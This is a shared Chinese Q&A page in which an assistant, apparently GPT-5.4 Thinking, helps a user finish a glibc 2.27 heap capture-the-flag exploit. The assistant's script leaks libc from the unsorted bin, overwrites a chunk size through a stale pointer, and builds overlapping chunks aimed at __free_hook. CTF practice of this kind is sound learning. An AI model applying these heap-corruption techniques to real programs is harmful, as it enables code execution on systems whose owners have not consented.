这道题用的是libc2.27版本,我写了一点脚本但后面实在不会了from pwn import* f...

Создано: 22 марта 2026 г.

Отвечено с использованием GPT-5.4 Thinking от Chat01

Вопрос

catchme

这道题用的是libc2.27版本,我写了一点脚本但后面实在不会了from pwn import*
from LibcSearcher import *
#p=remote("node4.buuoj.cn",)
p=process("./pwn")
context.log_level="debug"
libc=ELF('/home/hpp/s/buu/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
def dbg():
gdb.attach(p)
pause()

def add(i):
p.sendlineafter('>>','1')
p.sendlineafter('(3)otter',str(i))

def free(index):
p.sendlineafter('>>','2')
p.sendlineafter('index:',str(index))
def show(index):
p.sendlineafter('>>','3')
p.sendlineafter('index:',str(index))
def read(index,content):
p.sendlineafter('>>','4')
p.sendlineafter('index:',str(index))
p.sendlineafter('set tag:',content)

def clear(index):
p.sendlineafter('>>','6')
p.sendlineafter('index:',str(index))
'''
#-------------------
free(1)
show(1)
p.recvuntil('tag:')
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
base=main_arena-96-0x10-libc.sym['__malloc_hook']
print(hex(main_arena))
system=base+libc.sym['system']
print(hex(system))
#--------------------
'''
add(3)
add(1)
add(2)
add(3)
free(1)
free(2)
for i in range(26):
add(3)
clear(0)

free(3)

#read(0,p64(main_arena+8))
#read(0,p64(system))
#add(1) #3

dbg()

p.interactive()

Мысль

Finalizing a clear, useful answer

I need to provide a concise yet useful answer. It should reverse-engineer the relevant facts, highlight the issue with the current script, explain the corrected sequence, and potentially include a code snippet. I could tentatively suggest next steps, but with caution. Offering reconstructed functions and offsets might also help.

Computing fake-size chain

Let's go through the exact fake-size chain:

  • Slot array 5.
  • fox needs 0x430 -> chunk 0x440.
  • hawk needs 0x440 -> chunk 0x450.
  • otter needs 0x48 -> chunk 0x50.

To make slot2 into an overflow primitive:

  1. Allocate otter, fox, hawk, otter.
  2. Free fox and hawk to consolidate (0x890).
  3. Clear and repeat actions, adding and clearing to consume 0x460.
  4. Overflow using read(2), overwriting A14 size.
  5. Fake free steps to set up large chunk attack.

This leads us to an overlap or UAF strategy for further exploitation.

Thought for 11m 29s

Ответ

你这题后面卡住,核心原因是:你现在这 26 次 add(3) 的堆风水做偏了
真正有用的点不是把 chunk 一直切小,而是要让 slot2 那个悬空的 hawk 指针,正好落到某个新 otter中间,这样 read(2) 的最后 8 字节就能精准改掉“下一个 chunk 的 size”。在 glibc 2.27 里,0x50 这种小块会进 tcache,而 0x440/0x450 这种大块不会进 tcache,会走 unsorted/largebin,所以这里本质上是“拿大块切小,再用悬空指针改 chunk header”。(Ironstone)

我先把程序逻辑给你捋一下,你后面就顺了:

c
fox -> malloc(0x430) // chunk size 0x440 hawk -> malloc(0x440) // chunk size 0x450 otter -> calloc(1,0x48) // chunk size 0x50 free(index): free(ptr) // 不清空指针 => UAF clear(index): ptr = NULL // 不 free,只是把槽清掉 show(index): printf("%s", ptr+8) // 只能用一次 read(index): read(0, ptr+8, 0x18) // 最多 3 次

所以这题第一阶段就是:

  1. free(1); show(1) 泄露 unsorted bin 的 bk,拿 libc。
  2. free 不清指针 + clear 只清槽,做出 stale pointer 改下一个 chunk size
  3. 再造 overlap,后面才有资格做 largebin / unsorted 方向的任意写。

你现在这段:

python
add(3) add(1) add(2) add(3) free(1) free(2) for i in range(26): add(3) clear(0) free(3)

问题在于这里 26 不对。
fox(0x440) + hawk(0x450) = 0x890
你切 26otter,总共吃掉 26 * 0x50 = 0x820,只剩 0x70。这条路最后只会在尾部留下一个很小的 remainder,并不能把 slot2 变成你想要的 header-overwrite 原语

真正该做的是:

  • 先把 fox + hawk 合成的 0x890 大 chunk 切掉 14 个 0x50
  • 这样第 15 个小块(记成 A14)的 size 字段,刚好会被 stale slot2read(2) 末 8 字节打到

关系是这样的:

  • slot1 原来指向 fox 开头
  • slot2 原来指向 hawk 开头,和 fox 开头相差 0x440
  • 每个 otter chunk size 是 0x50
  • 0x440 = 13 * 0x50 + 0x30

所以当大块被切成很多 0x50 之后:

  • slot2 会落在第 14 个小块 A13 的偏移 +0x30
  • read(2) 是从 slot2+8 开始写 0x18
  • 也就是写到 A13+0x38 ~ A13+0x4f
  • A14 的 size 字段正好在 A13+0x48

所以 payload 最后 8 字节改的,正是 A14->size

你后面应该这么写:

python
from pwn import * # p = remote(...) p = process('./pwn') context.log_level = 'debug' libc = ELF('/home/hpp/s/buu/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6') def dbg(): gdb.attach(p) pause() def add(i): p.sendlineafter('>>','1') p.sendlineafter('(3)otter',str(i)) def free(idx): p.sendlineafter('>>','2') p.sendlineafter('index:',str(idx)) def show(idx): p.sendlineafter('>>','3') p.sendlineafter('index:',str(idx)) def read_(idx, content): p.sendlineafter('>>','4') p.sendlineafter('index:',str(idx)) p.sendafter('set tag:', content) def clear(idx): p.sendlineafter('>>','6') p.sendlineafter('index:',str(idx)) # 0: otter, 1: fox, 2: hawk, 3: otter add(3) # idx 0 add(1) # idx 1 add(2) # idx 2 add(3) # idx 3 # leak libc free(1) show(1) p.recvuntil('tag:') main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base = main_arena - 0x60 - 0x10 - libc.sym['__malloc_hook'] log.success('main_arena = %#x' % main_arena) log.success('libc_base = %#x' % libc_base) # merge fox + hawk => 0x890 free(2) # 把 idx0 清空,用来反复领小块 clear(0) # 先吃掉 14 个 0x50 小块 for _ in range(14): add(3) # 一直落在 idx0 clear(0) # 只清槽,不 free # 现在 next one 就是 A14,保留下来 add(3) # idx0 = A14 add(3) # idx4 = A15(后面做 overlap 用) # stale idx2 指向 A13+0x30 # read(2) 覆盖 A14 的 size -> 0x431 read_(2, b'A'*0x10 + p64(0x431)) # free fake chunk A14(0x430) free(0) # 原来的 idx3 otter 紧跟在 fake chunk 后面 # 此时 free(3) 会向后合并,得到更大的 overlap chunk free(3) # 这里就已经进到 overlap 阶段了 dbg() p.interactive()

这里最关键的不是 payload 本身,而是这三步:

python
for _ in range(14): add(3) clear(0) add(3) # A14 add(3) # A15 read_(2, b'A'*0x10 + p64(0x431))

你原来的 26 要改成这条思路。

你可以把这段先想成“中间态”:

  • idx2:悬空 hawk,负责打 header
  • idx0:伪造出来的 fake/free chunk,负责被 free / overlap
  • idx4:留一个活的小块,负责做 overlap 观察点

再说一下你后面该往哪走:

  • free(0) + free(3) 之后,你已经不是普通 UAF 了,而是拿到了 fake size 造 overlap 的能力。
  • 这一步之后,通常会转去做 overlap large chunk,再利用 idx0 的 UAF 去改大 chunk 在 unsorted/largebin 里的字段,最后奔 __free_hook 或别的可写目标。

也就是说,你现在真正该验证的是:

  1. read(2, b'A'*0x10 + p64(0x431))free(0) 不崩。
  2. 接着 free(3) 也不崩。
  3. 说明 fake chunk 和 backward consolidate 都成立了。

只要这三步成立,你就已经从“不会做”跨到“链子接上了”。

我目前能确定的是:你脚本卡住的地方,不是 libc 泄露,也不是 free(3) 本身,而是前面的 heap feng shui 次数和保留 chunk 的方式不对
26 这条改成上面这条 14 + 保留 A14/A15 + 改 size,你就能继续往 overlap 打了。

Поделиться этим Q&A